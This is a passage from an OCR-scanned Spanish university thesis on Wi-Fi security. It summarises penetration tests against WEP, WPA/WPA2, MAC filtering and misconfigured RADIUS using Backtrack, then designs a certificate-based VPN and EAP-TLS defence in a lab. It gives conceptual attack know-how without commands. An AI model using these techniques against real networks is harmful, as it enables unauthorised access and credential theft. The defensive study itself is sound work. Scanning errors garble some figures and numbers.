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era advertido con un mensaje, sin embargo al aceptar pudo
conectarse permitiendo capturar el hash. Un usuario sin
conocimientos podria conectarse a esta red sin percatarse del
problema se seguridad. Cuando la opcion de verificar el certificado
de servidor estuvo habilitada y se especificdé la entidad de
certificacion de confianza, el cliente rechazo la conexion y no le
permiti6 al usuario conectarse por lo que el hash no pudo ser

capturado.

4.6. ANALISIS DEL TEST DE PENETRACION

En un test de penetracion podemos identificar las vulnerabilidades
existentes en una infraestructura de red implementada o que sera
implementada, como se ha podido apreciar en las pruebas realizadas
a la infraestructura de red inalambrica, con diferentes métodos de
seguridades convencionales no ha sido posible proteger el acceso a
la red, todos los métodos vistos han sido vulnerados con ataques de

diccionario y algunas variantes.

Backtrack con multiples herramientas y en conjunto de hardware
especializado ha permitido no solo romper la seguridad de una red
inalambrica sino también ha permitido obtener las credenciales de los

usuarios, en un tiempo relativamente corto.



88

El tiempo que toma en tener acceso a la red dependera de factores

tales como:

- Tipo de seguridad implementada,; Filtrado MAC, ocultar el
SSID.

- Tipo de cifrado utilizado; WEP/WPA/WPAZ2, en el caso de
WPA/WPAZ2 dependera de que tan compleja sea la
contrasefia y como este formada, sea humérica,

alfanumérica o con caracteres especiales.

Si una clave WPA/WPAZ2 es un poco compleja el tiempo de obtencién
de clave es largo, y es necesario tener las herramientas necesarias
para realizar el proceso es necesario utilizar diccionarios no
convencionales, en varios idiomas, con varias combinaciones y hasta
diccionarios especializados para estos trabajos los cuales pueden

llegar a pesar mas de 30 GB en texto.

Para procesar este tipo de archivos es necesario tener equipos de
mayores capacidades, ya que el nivel de requerimiento es alto, se
necesita un CPU que sea capaz de soportar la carga de
procesamiento, pero actualmente hay métodos que ayudan a agilizar
el trabajo tal como el uso de la GPU de un equipo, es decir la tarjeta

grafica.
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Con respecto a las autenticaciones mediante RADIUS
PAP/PEAP/EAP-TTLS, también han sido vulnerados debido a su
mala configuracion. Existen administradores de redes que
implementan RADIUS pero este no es bien configurado, lo cual es

peligroso y aprovechado por los hackers.

Si no existe una entidad certificadora que autentique la identidad del
cliente con el Punto de acceso, este método es facilmente
intersectado ya que no se usa ningun certificado, y cualquier cliente

se conecta a la red.

El sistema usado en las pruebas realizadas ha sido el Linux
Backtrack 5 r3, que siendo software libre posee variedad de
herramientas para realizar un test de penetracibn a nivel de
infraestructura de red, pero no es el Unico sistema el cual tiene estas
caracteristicas, por mencionar algunos de los sistemas o
herramientas tenemos el reciente sistema Kali Linux, whoppix,

Matriux, Blackbuntu entre otros.

En ambientes domésticos, la complejidad de contrasefia juega un
papel muy importante al momento de implementar una red
inalambrica, y en una red empresarial es importante la

implementacion de seguridad mas robusta que mitigue todos estos
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ataques anteriormente vistos, por lo que se emplearan certificados

digitales para la solucion.



CAPITULO 5

5. SOLUCIONES PROPUESTAS

El nivel de seguridad a implementarse dependera del ambiente en el que
se encuentre la red y las necesidades propias del individuo o empresa.
Podemos dividir el estudio en dos ambientes béasicos, seguridad a nivel

personal y seguridad a nivel empresarial.
5.1. SEGURIDAD A NIVEL PERSONAL

Dentro de un ambiente personal, de un hogar o una pequefa oficina,
donde generalmente se cuenta con equipos de acceso a la red

inalambrica de bajas prestaciones, es recomendable optimizar la
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seguridad al menos en lo posible dentro de las limitaciones de

hardware y software que se poseen.

La configuracion de seguridad Optima para estos casos es la
autenticacion WPA2 con el tipo de cifrado AES. En la actualidad
muchos ruteadores y puntos de acceso inalambricos ofrecen la
opcion WPA/WPA2 con TKIP/AES, este modelo permite la
autenticacion tanto WPA como WPA2 y puede ser usado por motivos
de compatibilidad si se tienen equipos que no soporten WPA2. La
seguridad WEP debe ser evitada ya que es la mas vulnerable y se la

puede atacar y obtener acceso a la red en muy poco tiempo.

Otro punto que determina el nivel de seguridad en una red
inalambrica de estas caracteristicas es la complejidad de la
contrasefia, como medidas basicas de seguridad se debe considerar
una longitud de al menos 8 caracteres, en donde no se debe emplear
palabras del diccionario, ni ningun tipo de informacion personal como
nameros de identificacion, teléfonos o fechas de cumpleafios. En su
lugar es recomendable usar una combinacion de letras mayusculas y
minusculas, nimeros y simbolos. Esto aumenta la seguridad de la

red contra ataques de diccionario o fuerza bruta.
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5.2. SEGURIDAD A NIVEL EMPRESARIAL

Las empresas manejan mucha informacion confidencial y suelen ser
el blanco de ataque con mayor frecuencia y por hackers mas
capacitados (incluso organizaciones de hackers) que un usuario en
una red propia en su hogar. Por esto se han desarrollados métodos
de seguridad mas complejos que involucran servidores de seguridad
y acceso, lo que hace que sean también mas costosos de

implementar.

5.2.1. Protocolo EAP-TLS

Este protocolo puede funcionar en conjunto con WPA/WPA2
Enterprise otorgando un nivel de seguridad que hasta la

actualidad no ha podido ser vulnerado [13].

EAP-TLS estd basado en el uso de certificados digitales para
la autenticacion tanto del cliente como el servidor de
autenticacion. Este es probablemente el mejor método de
seguridad existente en la actualidad para el acceso a redes
inalambricas. [16] En la figura 5.1, se puede observar un

ejemplo de una implementacion de EAP-TLS.

Esta implementacidbn requiere del despliegue de una

arquitectura PKI, en donde al menos debe existir un servidor
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de certificacion para la emision y manejo de los certificados, y
un servidor de autenticacion como un servidor RADIUS. Se
deben distribuir certificados tanto a los servidores de

autenticacion como a los clientes inalambricos.

Servidor de Certificacion

. A 5

Cliente Inaldambrico Servidor de Autenticacién

W et

Servidor de Directorio

Figura 5.1 - Protocolo EAP-TLS

La mayor ventaja de este modelo de seguridad es el uso de
certificados digitales en lugar de contrasefias, lo que elimina el
problema de una contrasefia de usuario débil o comprometido.
Las desventajas de este modelo de seguridad son la dificultad
de su implementacién y la carga administrativa que genera la
distribucion de certificados a todos los clientes para su

autenticacion.
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5.2.2. Control de Acceso a la Red (NAC)

NAC combina en una solucidn la autenticacion de usuarios,
evaluacion de seguridad de punto final y control de acceso. La
solucibn NAC asegura que cada terminal cumpla con las
politicas de seguridad de la red antes de otorgarle el acceso a
la misma. El proposito de NAC se divide en dos partes: permitir
el acceso a la red Unicamente a usuarios y sistemas
autorizados, y asegurar el cumplimiento de las politicas de

seguridad de la red. [17]

Los componentes fundamentales de NAC son: puntos finales
(EP), puntos de cumplimientos de politicas (PEP) y punto de
decision de politicas (PDP) [18]. En la figura 5.2 se pueden

observar estos elementos dentro de una solucion NAC.

‘ D
Cliente Inaldmbrico (EP) Firewall (PEP)
Servidor de remediacién

Servidor NAC (PDP)

Figura 5.2 - Control de Acceso ala Red
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Los puntos finales son los equipos que requieren el acceso a
la red, dependiendo de la solucion estos pueden o no tener un
agente. Un agente es un software que se instala en los
equipos que permite hacer una evaluacion automatica del
estado del equipo (antivirus, actualizaciones del sistema, etc.)

y enviar la informacion obtenida al servidor NAC.

El punto de decision de politicas es el servidor principal de
la solucion NAC, es aqui donde se evalla al equipo que
solicita el acceso a la red basadndose en la informacién del
estado del equipo recibida del punto de cumplimiento de

politicas.

Otro elemento que incluyen algunas soluciones NAC son los
servidores de remediacion, estos ofrecen una resolucion
automatica a los problemas de los equipos que no cumplen las
politicas de acceso a la red. Cuando un equipo no cumple con
las politicas es puesto en cuarentena, en este estado se les da
acceso a los servidores de remediacion de donde podran
obtener las correcciones necesarias para calificar como equipo

saludable y poder obtener acceso a la red.
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En un ambiente como una red inalambrica, en donde existen
equipos que entran y salen constantemente de la red, una
solucion como NAC puede proveer seguridad ante amenazas
como software malicioso adquirido por los equipos cuando se
encuentran fuera de la empresa. Esto es posible gracia a su
capacidad de aislar equipos que no cumplen con las normas
de seguridad y ofrecerles una remediacion de problemas.
Actualmente existen varias soluciones NAC como NAP
(Network Access Protection) de Microsoft, NAC (Network
Admision Control) de Cisco, y otras de cddigo abierto como

PacketFence.

5.2.3. Acceso através de VPN

Las VPN fueron creadas para el acceso seguro a una red
privada a través de una red publica o poco segura. Basados en
este mismo principio se empez6 a optar por usarlas en redes
locales inalambricas, cuya seguridad es un inconveniente, para
conectarse a través de un canal cifrado con la red interna de la
empresa. La figura 5.3 muestra un modelo de red inalambrica

con acceso a través de VPN a la red interna de la empresa.

En este modelo de seguridad la red inalambrica esta separada

de la red interna de la empresa por un equipo que cumple el
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rol de servidor VPN. De esta manera los usuario inalambricos,
luego de obtener acceso a la red inalambrica, aun no pueden
obtener acceso a los recursos que se encuentra dentro de la
red interna de la empresa, sino hasta que establezcan una
conexion VPN con la misma. Asi, aun cuando la seguridad de
la red inalambrica pueda ser vulnerada el atacante no tendra

acceso a los recursos de la empresa.

@
I

Servidor
N
o VPN
RED INALAMBRICA RED INTERNA

Figura 5.3 - Acceso a través de VPN

Otra ventaja al tener las redes separadas por el servidor VPN,
es que se podria del mismo modo colocar un cortafuegos
detras de él, lo que permitiria el control de los recursos a los

que el usuario puede acceder desde la red inalambrica.
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5.2.4. Comparacion de las soluciones empresariales

Cada una de las soluciones descritas tiene diferentes
caracteristicas y capacidades que debemos analizar para
determinar cuél es la que mejor se adapta a nuestra red y
necesidades de seguridad. A continuacién se analizaran los

beneficios que ofrece cada una.

En el caso de EAP-TLS se ofrece un esquema de seguridad
en donde su principal fortaleza es el uso de certificados
digitales, que brindan un nivel de seguridad muy superior a las
contrasefas. Otra ventaja es la autenticacion tanto del cliente
como el servidor que permite también a los clientes identificar
al servidor al que se estan conectando, evitando asi ataques
orientados a clientes en donde se crean puntos de acceso

falsos.

NAC esta enfocado no solo a la autenticacion de los usuarios,
sino a resolver un problema especialmente importante en los
equipos portétiles, el ingreso de software malicioso de fuentes
externas a la empresa. Al no tener el control administrativo de
estos equipos, la evaluacion de cumplimiento de politicas
previo a otorgar el acceso a la red ayuda en gran medida a

mitigar la propagacion de infecciones a traves de la red.
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El acceso a través de VPN permite dar cierto nivel de acceso,
como conexion a internet, a usuarios dentro de la red
inalambrica que son considerados como invitados, mientras
gue para obtener acceso a recursos dentro de la red interna se
requerira una conexion a través de VPN. La inclusion de un
cortafuegos en este modelo de seguridad, permite un control
de los recursos a los que pueden acceder los usuarios luego
de conectarse a la red. De esta manera, se puede limitar el
acceso de los usuarios a ciertos segmentos 0 servicios dentro

de la red.

La seleccion de uno de estos modelos de seguridad
dependera de varios factores especificos del ambiente donde
se implementard como el tipo de usuarios y sistemas que
accederan a la red, las politicas de seguridad de la empresa, la
infraestructura de red actual y el impacto que podria causar en
la red su implementacién, por lo que antes de optar por una de
estas soluciones se deberd hacer un estudio y analizar

cuidadosamente estos factores.



CAPITULO 6

6. IMPLEMENTACION DE SEGURIDAD INALAMBRICA

A TRAVES DE UNA VPN

Se implementé un modelo de seguridad en donde se combinaron los
beneficios del acceso a través de VPN vy los certificados digitales para
maximizar la seguridad en el acceso a la red inaldmbrica. El uso de un
servidor VPN que ademas funcione como cortafuegos para el acceso de
los clientes inalambricos a la red de la empresa permite, no solo el control
de los usuarios que puedan acceder a la red sino, los recursos
especificos a los que pueden acceder dentro de la red interna de la

empresa. Por otra parte, el uso certificados digitales como método de
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autenticacion de los usuarios, proporciona un método mas seguro al no
depender de la complejidad de la contrasefa elegida por los usuarios, ni

la confidencialidad con que mantengan esa contrasefa.

6.1. DISENO GENERAL

Se contd con un servidor VPN/Cortafuegos que fue implementado
por medio del Forefront Threat Management Gateway 2010, este
permitié crear un tanel seguro para el acceso a la red interna. Para la
autenticacion de los usuarios este servidor se contacté con un
servidor RADIUS, implementado usando el servicio de Network
Policy and Access Services de Windows Server 2008 R2. El servidor
RADIUS us6 como meétodo de autenticacion el EAP-TLS y se
contactd con un servicio de directorio Active Directory de donde
obtuvo el grupo de usuarios que tiene permitido el acceso. Para la
emisién y manejo de certificados digitales se implementd un servidor
de certificacion. Adicionalmente, se instalé un servidor interno que
cumplié el rol de servidor web, este representd los recursos internos
de la empresa. La figura 6.1 muestra el disefio general donde se
puede observar los servidores y su ubicacién dentro de los

segmentos de red interna y red inalambrica.
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Servidor RADIUS
(« @7 o\\ Servidor de Certificacion
X
Cliente Inalambrico VPN
Firewall
S
Servidor de Directorio
.g
Servidor Web
RED INALAMBRICA RED INTERNA

Figura 6.1 - Disefio General

6.2. DESCRIPCION DEL ESCENARIO DE SIMULACION

Empezaremos describiendo los elementos de hardware y software
gue se usaron para la simulacién por medio de maquinas virtuales. A

continuacion se detalla el hardware con sus caracteristicas:

» TP-Link WR543G: Es ruteador inalambrico que soporta los
estandares inalambricos IEEE 802.11g y IEEE 802.11b,
ademas cuenta con 4 puertos LAN de 10/100Mbps. Cuenta
con una antena desmontable omnidireccional de 5dBi y
trabaja en un rango de frecuencias de 2.4 a 2.4835GHz.
Soporta los protocolos de seguridad inalambrica WEP,

WPA, WPA2, WPA-PSK y WPA2-PSK.
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= Acer Aspire One D-150: Es una computadora portétil de
bajo rendimiento. Cuenta con un procesador Intel ATOM
N280, el cual trabaja a 1.66 GHz, y 2GB de memoria RAM
DDR2. Tiene 2 interfaces de red: una interfaz inalambrica
gue soporta los estandares inalambricos IEEE 802.11b y
IEEE 802.11 g, y otra cableada que trabaja a 10/100Mbps.
Tiene instalado el sistema operativo Windows 8 PRO.

» Toshiba Satelite M-645: Es una computadora portatil de
gama media. Cuenta con un procesador Intel Core i3, el
cual trabaja a 2.8 GHz, y 3GB de memoria RAM DDR3.
Tiene 2 interfaces de red: una interfaz inalambrica que
soporta los estandares inalambricos IEEE 802.11b y IEEE
802.11 g, y otra cableada que trabaja a 10/100Mbps. Tiene

instalado el sistema operativo Windows 7 Professional.

El software seleccionado para la implementacion de la solucion esta
formado por un conjunto de servidores Microsoft. Para la creacion y
administracion de las maquinas virtuales se usO el software de
virtualizacion de codigo abierto VirtualBox. A continuacion se detallan

las versiones de software que se usaron:

- Windows Server 2008 R2, dentro del cual se instalaron los

servicios: Active Directory Domain Services, Active
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Directory Cetificate Services, Network Policy and Access
Services y Internet Information Services.
- Forefront Threat Management Gateway 2010

- Oracle VirtualBox 4.3.6

En resumen, el hardware consté de dos portatiles y un ruteador
inalambrico. Estos equipos con la ayuda del software de
virtualizacién permitieron recrear los elementos principales de un

escenario de red empresarial.

La figura 6.2 muestra los equipos usados para la simulacion y su
funcionalidad dentro del escenario. Los equipos fisicos cumpliran los

roles detallados a continuacion:

- El ruteador inalambrico fue usado como equipo de acceso
a la red inaldmbrica.

- La portétil de menor capacidad (Acer Aspire One D-150)
fue usada como cliente inalambrico.

- La otra portatil (Toshiba Satelite M-645) ejecutd varias

maquinas virtuales que incluyeron los servidores de la red.
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Cliente Inaldambrico Servidores Internos

Figura 6.2 - Escenario de Simulacién (Equipos)

La figura 6.3 muestra los servidores que se implementaron dentro de
cada maquina virtual. Los servidores quedaron distribuidos de la

siguiente manera:

- Una méquina virtual con un servidor web interno que sirvid
para probar el acceso a los recursos de la red interna por
parte del cliente inalambrico (SERVER).

- Una maquina virtual con dos interfaces de red que fue
usada como VPN/Cortafuegos para el acceso de los
usuarios inalambricos (VPN).

- Una méquina virtual donde se implementaron un servidor
de dominio, un servidor de certificacion y un servidor

RADIUS (DC-CA-NPS).
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VPN

SERVER

VPN/Firewall

(i

Servidor Web

Servidor de Directorio

Servidor de Certificacion

Servidor RADIUS

Figura 6.3 - Escenario de Simulacion (Maquinas Virtuales)

Para completar el escenario fue necesaria la creacion de una red

virtual por medio del VirtualBox. La maquina virtual VPN conté con 2

interfaces de red, una de ellas fue conectada a la red fisica a través

de la interfaz de red de la portatil, mientras la otra fue conectada a la

red virtual creada. Esta red virtual representd la red interna de la

empresa, por lo que los demas servidores solo tuvieron una interfaz

gue estuvo conectada a esta red. La figura 6.4 muestra la ubicacion

de los equipos dentro de las redes en el escenario de simulacion.



108

SERVER

VPN
Ca
DC-CA-NPS

VPN/Firewall @
3
3

Red Fisica (Red Inaldmbrica) Red Virtual (Red Interna)

Figura 6.4 - Escenario de Simulacién (Redes)

6.3. IMPLEMENTACION

Para el proceso que se describira a continuacién se crearon las
magquinas virtuales VPN, SERVER y DC-CA-NPS usando el software
de virtualizacion VirtualBox y se instalo en ellas el sistema operativo
Windows Server 2008 R2. Adicionalmente se asigné el

direccionamiento IP como se muestra en las tablas 3 y 4.

Red Rango de IPs
Red Interna 10.10.10.0/24
Red Externa (Inaldmbrica) |192.168.1.0/24
Conexiones VPN 10.10.20.0/24

Tabla 3 - Direccionamiento (Redes)
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Direccion IP /

Puerta de Enlace

Equipo Mascara de Subred | Predeterminada DNS
DC-CA-NPS 10.10.10.100/24 10.10.10.101 127.0.0.1
VPN (Interfaz 1) 10.10.10.101/24 No Configurado 10.10.10.100
VPN (Interfaz 2) | 192.168.1.250/24 192.168.1.1 No Configurado
SERVER 10.10.10.102/24 10.10.10.101 10.10.10.100
AP 192.168.1.1/24 No configurado | No configurado

Tabla 4 - Direccionamiento (Configuracion IP)

6.3.1. Instalacion y Configuracion de Active Directory

Esta implementacion esta basada en la integracién de varios

servicios en donde las cuentas de usuario son administradas

por un servicio de directorio. En un ambiente empresarial

generalmente podemos encontrar un servicio de directorio

implementado, por lo que solo tendremos que configurarlo

para integrarlo a nuestra solucion de seguridad.

Para nuestra implementacién al no contar con una red

previamente configurada, hicimos una instalacién sencilla de

un Controlador de Dominio usando Windows Server 2008 R2,

en donde creamos el dominio “tesis.com”.




110

Empezamos instalando el Active Directory en la maquina DC-
CA-NPS (Anexo 5.1). Luego procedimos a crear cuentas de
usuarios y grupos a los que mas adelante asignamos permisos
para el acceso a la red interna a través de la red inalambrica.
Con la ayuda del Active Directory Users and Computers
creamos la estructura mostrada en la figura 6.5, en donde
asignamos al usuario Diego Choéez (dchoez) como miembro

del grupo de seguridad WirelessUsersGroup.

Active Directory Users and Comput
| Saved Queries M Dieqo Choez

F tE_SiS-':':'m ﬁﬂ’_,\*a'irelessUsersGruup Security Group ...
| Builtin
| Computers
2 | Domain Controllers
| ForeignSecurityPrincipals
'| Managed Service Accounts
2| Tesis
I | Wireless Users
7| Users

ez] |
By

00 & FHEHK

JEz]

Figura 6.5 - Usuarios y grupos en el Active Directory

6.3.2. Instalacion y Configuracion de “Certification Authority”

Para el manejo y emision de los certificados digitales usamos
la maquina DC-CA-NPS, en donde agregamos el rol de
“Certification Authority”. Debemos tomar en cuenta que para
que pueda integrarse con el Active Directory es necesario

instalarlo como tipo “Enterprise”.
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Adicionalmente para facilitar la distribucion de los certificados
digitales a los clientes instalamos el “Certification Authority
Web Enrollment”, este servicio instala un portal web desde el
cual podemos solicitar y descargar los certificados digitales

desde los clientes. (Anexo 5.2)

Instalacion y Configuracion de Network Policy Server

La maquina DC-CA-NPS también cumplié el rol de servidor
RADIUS, para que el equipo pueda cumplir con esta funcion
instalamos el Network Policy Server. Mediante el asistente de
configuracion de conexiones del Network Policy Server
pudimos configurar al servidor NPS como servidor RADIUS.
Aqui se establecieron los parametros de configuracién para
cada uno de los clientes RADIUS, como direccion IP o nombre
y la clave compartida. En nuestra infraestructura solo

contamos con uno, que es el servidor VPN.

Para un mayor control se agregé a las politicas de peticion de
conexiones a un grupo especifico de usuarios asignandoles
asi permisos para acceder a través de esta conexiéon. Usamos
el grupo de usuarios que creamos previamente en el Active

Directory, “WirelessUsersGroup”. (Anexo 5.3)
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6.3.4. Instalacion y Configuracion de Forefront TMG

En la maquina virtual VPN instalamos el Forefront TMG que
nos permitié habilitarla como servidor VPN y Cortafuegos. Para
su configuracion, este equipo debid ser previamente agregado

al dominio “tesis.com”.

De acuerdo al disefio propuesto, éste equipo funcioné como
cortafuegos de borde entre la red cableada y la red inalambrica
por lo que debié contar con dos adaptadores de red, uno para
cada red. Esto se debe considerar desde su instalacién, ya
gue desde el asistente de instalacion se establece la red que el
servidor conocera como “red interna” y esto repercutira en las
politicas de seguridad que seran implementadas. Mas adelante
en el proceso de configuracion se establecio al otro adaptador
como ‘red externa”, este adaptador es el que estaba

conectado a la red inalambrica.

Una vez instalado el Forefront TGM, habilitamos el acceso a
clientes VPN a través de este servidor. En este punto se
configuré el tipo de autenticacion (EAP con certificados
digitales), el servidor RADIUS que se us0 para autenticar a los

clientes (en nuestra implementacion es el servidor DC-CA-
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NPS), y el protocolo de tanel admitido para las conexiones de

los clientes (PPTP).

Opcionalmente, para mejorar la seguridad y aprovechar las
funcionalidades del Forefront TGM podemos agregar reglas de
cortafuegos, en donde solo daremos acceso a ciertos servicios
0 protocolos a los usuarios conectados a través de la VPN.

(Anexo 5.4)

Configuracién de Punto de Acceso Inalambrico

En  nuestro ruteador inalambrico  realizamos las
configuraciones béasicas para habilitar el acceso inalambrico,
usamos como tipo de seguridad WPA2-Personal con cifrado
AES. Esto permitioé brindar un primer nivel de seguridad para el

acceso a la red inaldmbrica de la empresa. (Anexo 5.5)

Configuracién de VPN en el cliente

Antes de configurar el cliente para el acceso a la VPN
necesitamos obtener un certificado digital para autenticarnos.
Para ello debimos conectar temporalmente el equipo cliente a
la red interna para poder acceder al CA y solicitar el

certificado. Otra opcion habria sido solicitar el certificado desde
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un equipo de la red interna, para luego exportarlo e instalarlo

en el equipo cliente.

Una vez instalado el certificado en el cliente, y ya estando
conectados a la red inalambrica, agregamos una nueva
conexion VPN y configuramos esta conexion para que use el
certificado ya instalado en el equipo para autenticarse.

(Anexo 5.6)

6.4. RESULTADOS DE LA IMPLEMENTACION

Al completar de manera exitosa la implementacion se pudo constatar
lo siguiente. Los clientes estaban configurados para autenticarse
ante el servidor usando un certificado digital y no una contrasefa.
Esto eliminé cualquier desventaja producida al usar contrasefias de
usuario, como la posibilidad que el usuario use una contrasefia
sencilla, que la tenga anotada en un lugar visible o que sea robada.
Al mismo tiempo el equipo cliente comprobaba la identidad del
servidor. La configuracion no permitia que el cliente se conecte con
ningun servidor a menos que este servidor se identifique usando un
certificado digital emitido por la entidad de certificacion propia de la
empresa, eliminado asi la posibilidad de que se conecte con un punto
de acceso falso. La inclusién de un cortafuegos permitié tener un

control sobre los recursos a los que podia acceder un cliente
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inalambrico. De esta manera, aun cuando llegase a comprometerse
la seguridad de la red inalambrica los recursos que quedarian

expuestos ante el atacante serian limitados.



CONCLUSIONES

1. Deshabilitar la difusién del SSID vy el filtrado de direcciones MAC son
métodos realmente sencillos de eludir. En las pruebas se demostrd
gue con el uso de un analizador de paquetes es posible ver en texto
plano tanto el SSID de un punto de acceso como las direcciones MAC
de los clientes conectados. Luego es posible cambiar la direccion
MAC de nuestra tarjeta para que coincida con una de las direcciones
permitidas. Este proceso solo depende de la captura de paquetes y no
requiere procesamiento adicional por lo que puede ser realizado en

menos de 5 minutos.
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2. La seguridad WEP esta obsoleta. En las pruebas realizadas se pudo
comprobar que, sin importar la longitud o la complejidad de la
contrasenfia, ésta se pudo obtener con un 100% de éxito. El proceso de
obtencion de esta contrasefia en ninguna de las pruebas tardo mas de
4 minutos.

3. Una contrasefia lo suficientemente compleja con WPA/WPA2 logra
gue un ataque de diccionario pierda sus posibilidades de éxito
llegando a 0%, ya que si la contrasefia no se encuentra en el
diccionario serd imposible de obtener. Por otro lado, un ataque de
fuerza bruta a esta tecnologia seria impractico debido al tiempo que
requiere. En un ejemplo, si tuviéramos una contrasefia con 8
caracteres entre mayusculas, mindsculas y nameros, tendriamos 828
posibles contrasefias. En las pruebas realizadas se alcanzé una
velocidad de 1950 claves comprobadas por segundo. A la velocidad
mencionada anteriormente comprobar todas las posibles contrasefas
del ejemplo tardaria 33240 afios.

4. La autenticacion del servidor por parte del cliente también es
importante ya que ayuda a prevenir atagues de puntos de acceso
falsos. En las pruebas se demostré6 que si un cliente no esta
configurado para comprobar la identidad del servidor, es posible que el
cliente sin darse cuenta se conecte a un punto de acceso falso que

use el mismo SSID que uno verdadero.
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5. Los certificados digitales como alternativa al uso de contrasefias nos
ofrecen un método de autenticacion mucho mas seguro, pero su
adopcion se ha limitado debido a la complejidad de su
implementacion.

6. El nivel mas alto de seguridad en una red inaldmbrica se lo puede
obtener con una implementacion de seguridad basada en certificados
digitales, configurada de manera que tanto el cliente como el servidor
requieran un certificado para autenticarse mutuamente, ademas que
los Unicos certificados admitidos sean los emitidos especificamente

por la entidad de certificacion propia de la empresa.



RECOMENDACIONES

1. En instalacion de puntos de acceso inalambricos personales se debe
evitar dejar ciertos valores predeterminados, como el nombre y
contrasefla de administrador y el SSID. Existen sitios web que
recopilan estos valores predeterminados de los diferentes modelos y
fabricantes que pueden ser consultados facilmente por usuarios
maliciosos.

2. Deshabilitar la opcion WPS en los puntos de acceso siempre que sea
posible, una vulnerabilidad en esta tecnologia permite realizar ataques
de fuerza bruta en tiempos relativamente cortos (4-10 horas) en

comparacion con ataques a WPA.
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3. En un ambiente empresarial, mantener la red inalambrica en una
subred independiente y limitar los recursos a los que se puede
acceder a través de ella.

4. Antes de seleccionar un modelo de seguridad empresarial debemos
tomar en cuenta que este sea compatible con los diferentes sistemas
operativos de los clientes inalambricos.

5. Como responsables de la administracion de la red de una
organizacion debemos asegurarnos de informar adecuadamente
acerca de los riesgos de seguridad en redes inalambricas a los

propietarios de la organizacion.
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GLOSARIO

Ataque de diccionario: tipo de ataque informatico en donde se trata de
obtener una contrasefia probando todas las palabras o cadenas de

caracteres de una base de datos comUnmente llamada diccionario.

Ataque de fuerza bruta: tipo de ataque informético en donde se trata de
obtener una contrasefia probando todas las combinaciones de caracteres

posibles.

Auditoria: registro de las acciones realizadas por un usuario o entidad.

Autenticacion desafio-respuesta: método que permite probar la identidad
de un usuario sin enviar directamente la contrasefia a través de la red. En su
lugar se envia un valor al cliente, este realiza un célculo sobre ese valor que

implica el uso de la contrasefia, y el resultado es devuelto al servidor.

Autenticacion: proceso por el que un usuario o entidad prueba su identidad

ante un sistema u otra entidad.

Autoridad de Certificacién: entidad encargada de emitir y administrar

certificados digitales.

Autorizacion: proceso que permite determinar los recursos y privilegios a los

gue tiene acceso un usuario o entidad.
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Certificado digital: documento digital emitido por una autoridad de
certificacion que garantiza la vinculacion entre usuario o entidad con una

clave publica.

Cifrado: procedimiento que permite transcribir un mensaje usando una clave
y un algoritmo con el objetivo de volverlo incomprensible ante quienes no

posean la clave de descifrado.

Clave pre-compartida: clave secreta que compartida entre las partes en un

sistema de comunicaciones a través de un canal seguro antes de ser usada.

Cliente: equipo o aplicacién informatica que solicita y hace uso de los

servicios de otro, conocido como servidor.

Credenciales: combinacion de nombre de usuario, contrasefia y otros

elementos que permiten a un usuario probar su identidad.

Cortafuegos: software o hardware que controla el paso del trafico en una

red basado en un conjunto de reglas de acceso.

Diagrama: representacion grafica de uno o varios elementos de un entorno.

Dial-up: forma de acceso a internet que usa la infraestructura de la red

telefénica publica conmutada (PSTN).
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Distribucion Linux: Software basado en el ndcleo Linux que incluye
diversos paquetes de software, dando origen a diversas ediciones de

sistema.

Dominio: conjunto de ordenadores conectados en una red que confian a uno
o varios de los equipos de dicha red la administracién de los usuarios y

privilegios.

Frecuencia: Numero de ciclos que una sefial u onda realiza en cada

segundo.

Infraestructura de clave publica: plataforma que incluye el hardware,
software, politicas y procedimientos necesarios para la gestion de

certificados digitales.

Interfaz: conexion fisica entre dos sistemas o dispositivos que permiten la

comunicacion entre distintos niveles.

Kerberos: protocolo de autenticacién, permite la autenticacion entre dos

equipos en una red.

Registro: informacién de eventos en un determinado rango de tiempo, de

una aplicacion o servicio.

Maquina virtual: computador simulado a través de un software de
virtualizacion que permite la ejecucion de software como si fuese un equipo

real.
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Punto de Acceso: hardware que permite a un dispositivo movil conectarse a

una red existente.

Servicio: proceso informatico no interactivo que se ejecuta en segundo plano

gue puede ser controlado por el usuario.

Servidor: equipo o aplicacion informatica que proporciona servicios a otros

denominados clientes.

Software malicioso: software que tiene como objetivo ingresar sin
autorizacion a un sistema para obtener informacion, dafarlo o tomar el

control de él.

Texto plano: texto que no tiene ningun formato o cifrado, es decir, que no

requieren ser interpretados para leerse.

Tanel: técnica que permite encapsular un protocolo de red dentro de otro.
Esto permite transportar un protocolo a través de una red incompatible o

proveer una ruta segura a través de una red poco confiable.

Vulnerabilidad: error o debilidad en un sistema informatico que permite

comprometer su integridad, disponibilidad o seguridad.



125

ANEXO 1

1.1 ESQUEMA DEL CIFRADO WEP

{ WEP Seed

X

i WEP-Encrypted Packet (MAC Frame

Esquema de funcionamiento de cifrado WEP [19]

1.2 ESQUEMA DEL CIFRADO WPA

Data to Transmit

Packet to Transmit

Esquema de funcionamiento de WPA [19]
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1.3 ESQUEMA DEL CIFRADO WPAZ2

Priority destination

- address $
MAC header = besacccssssm PN Temporal Key Plaintext data

v ¥ :

WPA2 MAC Frame

Esquema de funcionamiento de WPA2 [19]



ANEXO 2

COMPARACION DE TIPOS DE AUTENTICACION

Autenticacion T'Pos ta Uso Caracteristicas
cifrado
AbiBrta Ninguna Ninguno No - Permite el acceso a cual_quuer dispositivo '
recomendado - Se puede proveer seguridad usando portales cautivos
Solo si se - Primer método de autenticacion implementado en
RC4 - y el ¢
WEP PSK simétrico requiere por redes inaldmbricas
compatibilidad - Actualmente obsoleta
- Creada para corregir los problemas de seguridad de
WEP
WPA- PSK TKIP, - - Originalmente usa TKIP para el cifrado, actualmente
Personal CCMP 9 también soporta CCMP
- La seguridad depende de la complejidad vy
confidencialidad de la contrasefia
- Implementa por completo el estandar IEEE 802.11i
WPA2- CCMP, Hogar - - Usa CCMP de' manera predeterminada, soporta TKIP
Parsoial PSK TKIP Empresa por retrocompatibilidad _ 4
Pequefia - WPA2/CCMP permite aprovechar la maxima
velocidad del estandar 802.1n
WPA- TKIP, - Requiere una !nfrggstructura RADIUS
5 802.1x Empresa - Provee autenticacion de usuarios
Enterprise CCMP ; o
- Alto costo de implementacion
- Junto a una implementacion de certificados digitales
WPA2- 802 1x CCMP, Empresa constituye uno de los sistemas mas seguros en la
Enterprise ' TKIP P actualidad.

- Alto costo de implementacion

127
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ANEXO 3

NIVELES DE GRAVEDAD EN UN INFORME DE UN TEST DE

PENETRACION

Nivel de Problemas

Gravedad Encontrados Medidas a tomar

Se ha detectado que | Determinar los dafios
un ataque ha sido causados o la

Alto llevo a cabo o estd | informacion

siendo llevado a confidencial que fue
